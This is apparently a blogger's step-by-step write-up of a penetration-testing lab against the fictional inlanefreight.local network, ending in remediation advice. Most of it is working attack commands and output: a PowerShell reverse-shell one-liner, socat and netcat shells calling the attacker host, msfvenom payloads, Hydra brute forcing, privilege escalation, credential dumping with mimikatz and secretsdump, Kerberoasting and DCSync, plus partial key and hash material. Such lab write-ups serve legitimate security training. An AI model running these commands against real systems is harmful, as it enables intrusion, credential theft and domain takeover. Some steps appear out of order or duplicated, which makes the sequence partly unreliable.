The most ideal situation here is to obtain ida_rsa private key, as if we would lose the connection, we would be able to SSH back into the environment as the root user.

srvadm@dmz01:~$ LFILE=/root/.ssh/id_rsa

srvadm@dmz01:~$ sudo /usr/bin/openssl enc -in $LFILE

-----BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn

NhAAAAAwEAAQAAAYEA0ksXgILHRb0j1s3pZH8s/EFYewSeboEi4GkRogdR53GWXep7GJMI

oxuXTaYkMSFG9Clij1X6crkcWLnSLuKI8KS5qXsuNWISt+T1bpvTfmFymDIWNx4efR/Yoa

vpXx+yT/M2X9boHpZHluuR9YiGDMZlr3b4hARkbQAc0l66UD+NB9BjH3q/kL84rRASMZ88

y2jUwmR75Uw/wmZxeVD5E+yJGuWd+ElpoWtDW6zenZf6bqSS2VwLhbrs3zyJAXG1eGsGe6

<SNIP>

sudo chmod 600 dmz01key

sudo ssh -i dmz01key root@<target-ip>

root@dmz01:~# id

uid=0(root) gid=0(root) groups=0(root)

root@dmz01:~# sudo -l

Matching Defaults entries for root on dmz01:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User root may run the following commands on dmz01:

(ALL : ALL) ALL

Note: It's recommended to SSH with -D + proxychains, we can fully use tools from our local machine, such as Nmap.

To discovery live hosts within target system, do a ping sweep within its system as follows:

root@dmz01:~# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from

64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=2.88 ms

64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=1.22 ms

64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=1.85 ms

64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.046 ms

We can further enumeration using a static Nmap binary from the dmz01 host to get an understanding of which ports are open within these subnets.

Note: Nmap is often not installed on these situation, to be able to use nmap on the target system, download the binary and transfer to the target as follows:

# Local Machine

cd /tmp

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap

wget https://raw.githubusercontent.com/nmap/nmap/master/nmap-services

# Target Machine

mkdir -p /tmp/tools && cd /tmp/tools

wget http://<local-ip>:8000/nmap http://<local-ip>:8000/nmap-services

chmod +x nmap

Now that we have Nmap on dmz01 host. Write the discovered hosts to a file and execute Nmap.

root@dmz01:/tmp/tools# cat << 'EOF' > live_hosts

172.16.8.3

172.16.8.20

172.16.8.50

EOF

root@dmz01:/tmp/tools# ./nmap --open -Pn -n -iL live_hosts

Nmap scan report for 172.16.8.3

Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed

Host is up (0.00047s latency).

Not shown: 988 closed ports

PORT STATE SERVICE

53/tcp open domain

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open ldap

445/tcp open microsoft-ds

464/tcp open kpasswd5

593/tcp open http-rpc-epmap

636/tcp open ldapssl

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssl

5985/tcp open wsman

MAC Address: A2:DE:AD:AE:9A:43 (Unknown)

Nmap scan report for 172.16.8.20

Host is up (0.00032s latency).

Not shown: 992 closed ports

PORT STATE SERVICE

80/tcp open http

111/tcp open rpcbind

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

2049/tcp open nfs

3389/tcp open ms-wbt-server

5985/tcp open wsman

MAC Address: A2:DE:AD:DC:F3:04 (Unknown)

Nmap scan report for 172.16.8.50

Host is up (0.00045s latency).

Not shown: 994 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

5985/tcp open wsman

8080/tcp open http-proxy

MAC Address: A2:DE:AD:2F:F3:95 (Unknown)

Nmap done: 3 IP addresses (3 hosts up) scanned in 111.47 seconds

From the Nmap output, we can gather the following:

  • 172.16.8.3 is a Domain Controller (DC) because we see open ports such as Kerberos and LDAP. We can likely leave this to the side for now as its unlikely to be directly exploitable.

  • 172.16.8.20 is a Windows host, and the ports 80/HTTP and 2049/NFS are particularly interesting.

  • 172.16.8.50 is a Windows host as well, and port 8080 sticks out as non-standard and interesting.

We could run a full TCP port scan in the background while digging into some of these hosts.

Based of the scan results, port 2049 (NFS) on the Window Host (172.16.8.20) is always interesting to see. If the NFS server is misconfigured, we can browse NFS shares and potentially uncover some sensitive data.

root@dmz01:/tmp/tools# showmount -e 172.16.8.20

Export list for 172.16.8.20:

/DEV01 (everyone)

root@dmz01:/tmp/tools# mkdir /tmp/dev01_share

root@dmz01:/tmp/tools# mount -t nfs 172.16.8.20:/DEV01 /tmp/dev01_share -o nolock

root@dmz01:/tmp/tools# cd /tmp/dev01_share

root@dmz01:/tmp/dev01_share# ls

BuildPackages.bat CKEditorDefaultSettings.xml CKToolbarButtons.xml CKToolbarSets.xml DNN WatchersNET.CKEditor.sln

Not much interesting with these files, so we move to DNN subdirectory. Within here, we can see various files, one of which is web.config, which often can contain credentials:

root@dmz01:/tmp/dev01_share/DNN# cat web.config

<?xml version="1.0"?>

<configuration>

<!--

For a description of web.config changes see http://go.microsoft.com/fwlink/?LinkId=235367.

The following attributes can be set on the <httpRuntime> tag.

<system.Web>

<httpRuntime targetFramework="4.6.2" />

</system.Web>

-->

<username>Administrator</username>

<password>

<value><REDACTED</value>

</password>

<system.web>

<compilation debug="true" targetFramework="4.5.2"/>

<httpRuntime targetFramework="4.5.2"/>

</system.web>

Now we have the credentials pair for a admin login, head over DNN domain (http://172.16.8.20/) to test if we could access to it databases.

Note: To able to access to this URL, we must re-connect our SSH connection with portforwarding (-D). Also modify proxychains.conf file and configure browsers Network Settings as follows:

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

socks5 127.0.0.1 8081

ssh -i dmz01key -D 8081 root@<target-ip>

Once logged in, we are present as a SuperUser administrator account.

Finding: High Risk - Insecure File Shares & Sensitive Data on File Shares.

hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-100.txt monitoring.inlanefreight.local http-post-form "/login.php:username=admin&password=^PASS^:Invalid Credentials!"

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-12 11:52:24

[DATA] max 16 tasks per 1 server, overall 16 tasks, 99 login tries (l:1/p:99), ~7 tries per task

[DATA] attacking http-post-form://monitoring.inlanefreight.local:80/login.php:username=admin&password=^PASS^:Invalid Credentials!

[80][http-post-form] host: monitoring.inlanefreight.local login: admin password:<REDACTED>

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-12 11:52:27

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<host-ip>:4443

webdev@dmz01:/var/www/html/monitoring$ su srvadm

Password:

$ id

uid=1003(srvadm) gid=1003(srvadm) groups=1003(srvadm)

$ /bin/bash -i

srvadm@dmz01:/var/www/html/monitoring$

It's always important to execute id and sudo -l on the compromised account to see if they are in any privilege local groups or has any type of sudo privileges. To fully enumerate the compromised account, we can also upload the LinPEAS script and execute there.

Next we can save this key into a file, modify it's privilege and use it to SSH as root.

Within this webserver, a SQL Console is accessible under the Setting page where we can enable xp_cmdshell to run operating system commands.

xp_cmdshell can be enabled with the following script:

EXEC sp_configure 'show advanced options', '1'

RECONFIGURE

EXEC sp_configure 'xp_cmdshell', '1'

RECONFIGURE

Once we run the above script, we can test for "whoami" to see if the result was successful.

According to DNN, it is possible change the allowable file extensions to allow other files to be uploaded. This is useful if we cannot gain RCE via the SQL console.

The allowed file extensions list can be modified by browsing to Settings > Security > More > More Security Settings and adding them under Allowable File Extensions.

Once modified, upload an ASP webshell after browsing to http://172.16.8.20/admin/file-management to upload the file. Upon clicking the uploaded file, we get redirect to another Windows, which allow us to run commands via the web shell.

Running whoami /priv reveal that we have Selmpersonate privileges.

Selmpersonate privilage can be escalated using PrintSpoofer, along with Netcat.

If we modify the DNN Allowable File Extension again, we would be able to download both binaries to our machine and upload them directly.

After uploading both files, start the Netcat listener on the dmz01 host and execute the following PowerShell one-liner to gain reverse shell to the webserver.

After uploading both files, start the Netcat listener on the dmz01 host and execute the following PowerShell one-liner to gain reverse shell to the webserver.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('172.16.8.120',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

We should receive a reverse shell on our dmz01 host.

root@dmz01:~# nc -lnvp 9999

Listening on 0.0.0.0 9999

Connection received on 172.16.8.20 50080

whoami

iis apppool\dotnetnukeapppool

PS C:\windows\system32\inetsrv>

Now that we have access to the webserver, set up another Netcat listener on a new terminal and trigger Netcat using PrintSpoofer64.exe.

c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "cmd.exe /c c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd"

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

If successful, we should now have NT AUTHORITY - With SYSTEM privilege in place, navigate to file management directory and dump the registry hives.

root@dmz01:/tmp# nc -lnvp 443

Listening on 0.0.0.0 443

Connection received on 172.16.8.20 50505

Microsoft Windows [Version 10.0.17763.107]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami

nt authority\system

C:\Windows\system32>cd c:\DotNetNuke\Portals\0

cd c:\DotNetNuke\Portals\0

c:\DotNetNuke\Portals\0>reg save HKLM\SYSTEM SYSTEM.SAVE

reg save HKLM\SYSTEM SYSTEM.SAVE

The operation completed successfully.

c:\DotNetNuke\Portals\0>reg save HKLM\SECURITY SECURITY.SAVE

reg save HKLM\SECURITY SECURITY.SAVE

The operation completed successfully.

c:\DotNetNuke\Portals\0>reg save HKLM\SAM SAM.SAVE

reg save HKLM\SAM SAM.SAVE

The operation completed successfully.

Finally, use secretsdump to dump the databases.

Once again, add .SAVE file extensions within the web application and download the registry files.

secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE

Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xb3a720652a6fca7e31c1659e3d619944

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

[*] Dumping cached domain logon information (domain/username:hash)

INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#<REDACTED>: (2022-06-23 04:59:45+00:00)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC

INLANEFREIGHT\ACADEMY-AEN-DEV$:aes256-cts-hmac-sha1-96:442b160f281dddd9b62a2860d55af4698d4ba0557f3604af6d2bf0e19498e98f

INLANEFREIGHT\ACADEMY-AEN-DEV$:aes128-cts-hmac-sha1-96:cfae91b176f5d0ab3a481cd11af37989

INLANEFREIGHT\ACADEMY-AEN-DEV$:des-cbc-md5:efabf7e3c819a13b

INLANEFREIGHT\ACADEMY-AEN-DEV$:plain_password_hex:<REDACTED>

INLANEFREIGHT\ACADEMY-AEN-DEV$:aad3b435b51404eeaad3b435b51404ee:82d329b22c4964bb50b098fc43e171c1:::

[*] DefaultPassword

(Unknown User):<REDACTED>

[*] DPAPI_SYSTEM

dpapi_machinekey:0x6968d50f5ec2bc41bc207a35f0392b72bb083c22

dpapi_userkey:0xe1e7a8bc8273395552ae8e23529ad8740d82ea92

[*] NL$KM

0000 21 0C E6 AC 8B 08 9B 39 97 EA D9 C6 77 DB 10 E6 !......9....w...

0010 2E B2 53 43 7E B8 06 64 B3 EB 89 B1 DA D1 22 C7 ..SC~..d......".

0020 11 83 FA 35 DB 57 3E B0 9D 84 59 41 90 18 7A 8D ...5.W>...YA..z.

0030 ED C9 1C 26 FF B7 DA 6F 02 C9 2E 18 9D CA 08 2D ...&...o.......-

NL$KM:210ce6ac8b089b3997ead9c677db10e62eb253437eb80664b3eb89b1dad122c71183fa35db573eb09d84594190187a8dedc91c26ffb7da6f02c92e189dca082d

[*] Cleaning up...

The result above reveals admin and few others NTLM hashes, along with a clear-text password that belong to an Unknown User.

Here we can attempt to use proxychains to authenticate which user that password belong to:

sudo proxychains crackmapexec smb 172.16.8.20 --local-auth -u Administrator -H <Hash> --lsa

Now that we have SYSTEM privilege on the DEV01 host, we can perform a Sharphound collector to enumerate all possible AD objects and then ingest the data into the BloodHound GUI for review

C:\DotNetNuke\Portals\0>.\SharpHound.exe -c All

Searching for our user hporter and selecting First Degree Object Control, we can see that the user has ForceChangePassword rights over the ssmalls user.

Tool like PowerView can be used to change the ssmalls user's password as we have Administrator access.

sudo ssh -i dmz01key -L 13389:172.16.8.20:3389 root@<target-ip>

xfreerdp /v:127.0.0.1:13389 /u:hporter /p:<REDACTED> /drive:home,$(pwd)

Once RDPed, navigate to C:\Share and transfer files from our machine to the target system.

To cover more bases, we can also use Snaffler to enumerate target Window's file shares.

To achieve this, first set up a SSH Local Port Forwarding. The command allows to pass all RDP traffic to DEV01 through the dmz01 host via local port 13389.

PS C:\Share> .\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data > snaffler.log

One particular 'Department Shares' from the results may contains interesting files. To avoid RDP again, we can use crackmapexec spider_plus to dig around those file shares.

sudo proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Hacked123! -M spider_plus --share 'Department Shares'

<SNIP>

SMB 172.16.8.3 445 DC01 [*] Enumerated shares

SMB 172.16.8.3 445 DC01 Share Permissions Remark

SMB 172.16.8.3 445 DC01 ----- ----------- ------

SMB 172.16.8.3 445 DC01 ADMIN$ Remote Admin

SMB 172.16.8.3 445 DC01 C$ Default share

SMB 172.16.8.3 445 DC01 Department Shares READ Share for department users

SMB 172.16.8.3 445 DC01 IPC$ READ Remote IPC

SMB 172.16.8.3 445 DC01 NETLOGON READ Logon server share

SMB 172.16.8.3 445 DC01 SYSVOL READ Logon server share

SPIDER_PLUS 172.16.8.3 445 DC01 [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/172.16.8.3.json".

<SNIP>

sudo cat /root/.nxc/modules/nxc_spider_plus/172.16.8.3.json

{

"Department Shares": {

"IT/Private/Development/SQL Express Backup.ps1": {

"atime_epoch": "2022-06-01 14:34:16",

"ctime_epoch": "2022-06-01 14:34:16",

"mtime_epoch": "2022-06-01 14:35:16",

"size": "3.91 KB"

From the output, we can see a backup file within the IT shares.

Since this Department Share is located within Domain Controller (172.16.8.3), we can use smbclient to enumerate this share. After reviewing the file, it appears that it contains a pair of credentials for backupadm user.

proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'

<SNIP>

smb: \IT\Private\Development\> get "SQL Express Backup.ps1"

getting file \IT\Private\Development\SQL Express Backup.ps1 of size 4001 as SQL Express Backup.ps1 (8.7 KiloBytes/sec) (average 8.7 KiloBytes/sec)

There was also another interesting file within SYSVOL share, which is accessible to all Domain Users. However, after doing a quick research, this account no longer exists within the BloodHound databases.

Furthermore, we can also check if there are any Kerberoastable users within RDP session.

Due to high volume list, export those SPNs to a file, transfer back to our machine for offline processing.

PS C:\Share> Get-DomainUser * -SPN -Verbose | Get-DomainSPNTicket -Format Hashcat | Select-Object -ExpandProperty Hash | Out-File -Encoding ASCII ilfreight.hash

PS C:\Share> copy .\ilfreight.hash \\Tsclient\Home

Hashcat mode 13100 was able to crack a password for user backupjob:<REDACTED>.

However, this account has no privilege and is no useful to us.

Finding: High Risk - Weak Kerberos Authencation Configuration.

It's also worth to mention that few others lateral movement technique worth exploring is Domain Password Spraying, searching for Registry.xml files and Description fields in AD.

Digging around we came across unattend.xml file. Within this file, it reveals a local user credentials.

Moving on to the MS01 host (172.16.8.50), which have yet to be explored. First, connect to the target using evil-winrm using backupadm user.

Evil-WinRM PS C:\Users\backupadm\Documents> type C:\panther\unattend.xml

<SNIP>

<ProtectYourPC>1</ProtectYourPC>

</OOBE>

<AutoLogon>

<Password>

<Value><REDACTED></Value>

<PlainText>true</PlainText>

</Password>

<Enabled>true</Enabled>

<LogonCount>1</LogonCount>

<Username>ilfserveradm</Username>

</AutoLogon>

<FirstLogonCommands>

<SNIP>

Before accessing to this Remote Desktop, set up another SSH Local Port Forwarding that point to this IP to act as a jump host, then RDP.

This is not a domain user but has Remote Desktop access. We can RDP and explore this machine.

sudo ssh -i dmz01key -L 13389:172.16.8.50:3389 root@<target-ip>

xfreerdp /v:127.0.0.1:13389 /u:ilfserveradm /p:<REDACTED> /cert:ignore /drive:home,$(pwd) /dynamic-resolution

Within this computer, we found a non-standard software installed in the C:\Program Files(x86)\SysaxAutomation, which according to this blog, it allows for local privilege escalation.

To use this exploit:

  1. create a .bat file in C:\Users\ilfserveradm\Documents to add the user to local adminns group.

  1. Finally, to trigger the task, create another .txt file within the Documents directory.

We can confirm this by check localgroup within PowerShell.

Once we suggesfully added the user to the administrator group, restart the machine to active the privilege (shutdown /l).

proxychains evil-winrm -i 172.16.8.50 -u backupadm

  1. open sysaxschedscp.exe

  2. Select Setup Scheduled/Triggered Tasks

  3. Add task (Triggered)

  4. Update folder to monitor to be C:\Users\ilfserveradm\Documents

  5. Check Run task if a file is added to the monitor folder or subfolder(s)

  6. Choose Run any other Program and choose C:\Users\ilfserveradm\Documents\pwn.bat

  7. Uncheck Login as the following user to run task

  8. 9. Click Finish and then Save

Now that we have SYSTEM privilege, we can use mimikatz.exe to dump LSASS and Inveigh to catch credentials via Window's SMB services.

Again, we can grab these tools from our machine via \\tsclient.

PS C:\Users\ilfserveradm\Documents> .\mimikatz.exe

mimikatz # log

Using 'mimikatz.log' for logfile : OK

mimikatz # privilege::debug

Privilege '20' OK

mimikatz # token::elevate

Token Id : 0

User name :

SID name : NT AUTHORITY\SYSTEM

564 {0;000003e7} 1 D 30073 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary

-> Impersonated !

* Process Token : {0;0136075a} 2 F 20322234 ACADEMY-AEN-MS0\ilfserveradm S-1-5-21-1020326033-369054202-3290056218-1002 (14g,24p) Primary

* Thread Token : {0;000003e7} 1 D 20387820 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)

mimikatz # lsadump::secrets

PS C:\Users\ilfserveradm\Documents> Import-Module .\Inveigh.ps1

PS C:\Users\ilfserveradm\Documents> Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

Further looking into BloodHound data, it shows. that we have GenericWrite over the ttimmons user. This can be exploited by setting a fake SPN and perform a targeted Kerberoasting attack.

Back on the DEV01 machine, use PowerView to create a PSCredentials object to run commands as mssqladm user, then set a fake SPN on the target account.

From our machine, perform the targeted Keberoasting attack and hashcat mode 13100 to crack the hash.

sudo proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons

<SNIP>

$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$8b9d8faf9f6dffc11be6b21e76736088$320b3a73662b145801b229580271603037be3817d09e24c25e56d40285c77ca8286ce631a6a89d4fbde29d42e7e22692315d52a47f5062b<SNIP>

hashcat -m 13100 <hash-file> /usr/share/wordlist/rockyou.txt

$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL<SNIP>:<REDACTED>

To exploit this vulnerability, we first add ttimmons user to the group to inherit the SCSync privileges, then perform the attack.

Finally, using Secretsdump.py to DCSync all NTLM password hashes from the Domain Controller.

sudo proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm > DomainHashes

Once we have gathered the Administrator's hashes, we can use those to connected to the DEV01 domain as Adminstrator.

sudo proxychains evil-winrm -i 172.16.8.3 -u Administrator -H <hash>

Furthermore, BloodHound also shows that we have GenericAll over the Server Admin group, which has the ability to perform the DCSync attack to obtain NTLM hashes for any users in the domain.

Back on IT share we enumerate earlier, there is another subdirectory 'Networking', which contains SSH private keys for three different users. Download those keys to our machine for further uses.

download ssmallsadm-id_rsa /tmp/ssmallsadm-id_rsa

download james-id_rsa /tmp/james-id_rsa

download harry-id_rsa /tmp/harry-id_rsa

Looking at the network adapters on the Domain Controllers we can see that it has a second NIC in the 172.16.9.0 network.

We can use PowerShell to perform a ping sweep and attempt to identify live hosts.

Evil-WinRM PS C:\> 1..100 | % {"172.16.9.$($_): $(Test-Connection -count 1 -comp 172.16.9.$($_) -quiet)"}

172.16.9.1: False

172.16.9.2: False

172.16.9.3: True

<SNIP>

From here, with SSH private keys in hand, we can attempt to reach this host using a double pivot method.

  • Local Host > dmz01 > DC01 > MGMT01

First create 2 following files: an .elf payload to catch a reverse shell from our machine onto the dmz01, then an .exe payload reverse shell payload for DC01.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<local-ip> LPORT=443 -f elf > shell.elf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe -o dc_shell.exe LPORT=1234

Once we have transferred both files to the different locations, start Metasploit with privilege on our attack machine and use the exploit/multi/handler module. If we set permission for the shell.elf file within the dmz01 domain and execute it, we should be able to get a reverse shell.

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost <local-host>

lhost => 10.10.14.15

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443

LPORT => 443

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on <local-host>:443

[*] Sending stage (1062760 bytes) to 10.129.76.26

[*] Meterpreter session 1 opened (<local-host>:8443 -> 10.129.76.26:45512) at 2026-08-15 06:30:55 -0400

Next, set up a local port forwarding rule to forward all traffic destined to port 1234 on dmz01 to port 8443 on our attack host.

(Meterpreter 1)(/root) > portfwd add -R -l 8443 -p 1234 -L <local-host>

[*] Reverse TCP relay created: (remote) [::]:1234 -> (local) <local-host>:8443

Background the current session on our machine and start another multi/handler in the same msfconsole session to catch the shell from the DC. If we execute the .exe file within the DC01 domain, we will catch another reverse shell.

(Meterpreter 1)(/root) > portfwd add -R -l 8443 -p 1234 -L <local-host>

[*] Reverse TCP relay created: (remote) [::]:1234 -> (local) <local-host>:8443

After catching the reverse shell, run autoroute to set up a route to the 172.16.9.0/23 subnet. We can confirm by running route print within MSF routing table.

(Meterpreter 2)(C:\Users\Public) > run autoroute -s 172.16.9.0/23

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 172.16.9.0/255.255.254.0...

[+] Added route to 172.16.9.0/255.255.254.0 via 10.10.14.209

[*] Use the -p option to list all active routes

(Meterpreter 2)(C:\Users\Public) > bg

[*] Backgrounding session 2...

[msf](Jobs:0 Agents:2) exploit(multi/handler) >> route print

IPv4 Active Routing Table

=========================

Subnet Netmask Gateway

------ ------- -------

172.16.9.0 255.255.254.0 Session 2

Now we need to set up a socks proxy which is the final step before we can communicate directly with the 172.16.9.0/23 network from our attack host.

[msf](Jobs:0 Agents:2) exploit(multi/handler) >> use auxiliary/server/socks_proxy

[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> show options

[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set SRVPORT 9051

SRVPORT => 9051

[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set VERSION 4a

VERSION => 4a

[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> run

[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server

Note: For the socks proxy to works, edit /etc/proxychains.conf port to 9051 and change socks5 to 4 if it's already being used for DMZ01.

Once the SOCKS proxy server started, test this out by running Nmap against the target, and we confirm that we are able to scan it.

proxychains nmap -sT -p 22 172.16.9.25

<SNIP>

PORT STATE SERVICE

22/tcp open ssh

Finally, use the rsa private key we downloaded and SSH to the target host.

sudo proxychains ssh -i ssmallsadm-id_rsa ssmallsadm@172.16.9.25

<SNIP>

ssmallsadm@MGMT01:~$ uname -a

Linux MGMT01 5.10.0-051000-generic #202012132330 SMP Sun Dec 13 23:33:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

socks4 127.0.0.1 9051

Based of the Kernel version above, it's like that it's vulnerable to the DirtyPipe, CVE-2022-0847. We'll use exploit-2 from this GitHub repo.

Since we have SSH access to the system, we can create a file with Vim and paste the exploit code in. We then must compile it, and luckily gcc is present on the system. However, we must run the exploit against a SUID binary to inject and overwrite memory in a root process. So first we need to search SUID binaries on the system.

From here we could perform post-exploitation of the file system to prove the level of access we achieved.

Remediation Recommendation

Medium Risk - Potential for Sensitive Data Exposure

  • Modify API endpoints to explicitly return only required fields instead of serializing entire internal database objects. Implement strict server-side authorisation checks on every request to verify that the logged-in user has explicit permission to view the requested profile ID.

Low Risk - Directory Listing Enabled

  • Disable directory indexing in the web server configuration (such as Apache, Nginx, or IIS) and ensure every public folder contains a default index file (like index.html) to prevent the exposure of the underlying file structure.

High Risk - Weak WordPress Admin Credentials.

  • Enforce a strong password policy and implement multi-factor authentication (MFA) on the /wp-admin dashboard to prevent brute-force attacks from compromising the administrator account.

High Risk - SQL Injection

  • Implement prepared statements with parameterized inputs to completely separate user data from the database query structure and block SQL injection attacks.

High Risk - Cross-Site Scripting (XXS)

  • Apply context-aware HTML entity encoding to all user-supplied data before rendering it in the browser, ensuring input is treated as text rather than executable script.

High Risk - SSRF to Local File Read vulnerability

  • Implement strict URL validation using an explicit allowlist to prevent the server from processing user-supplied requests directed at internal loopback addresses or local file schemas like file://.

High Risk - XML External Entity (XXE) Injection.

  • Disable external entity resolution (DTD processing) completely within your XML parser configuration to prevent attackers from reading local files or triggering internal server requests.

High Risk - Insecure File Shares & Sensitive Data on File Shares.

  • Restrict file share access by implementing the principle of least privilege through strict ACLs, and run automated discovery tools to continuously locate and encrypt sensitive data left on network shares.

High Risk - Weak Kerberos Authencation Configuration.

  • Enforce complex, long passwords (or Group Managed Service Accounts) for all Active Directory service accounts to ensure the Kerberos ticket hashes cannot be cracked offline using Hashcat.

Thanks for reading..
Contact

Get in touch

Email

antonhoang.n@gmail.com

© 2025. All rights reserved.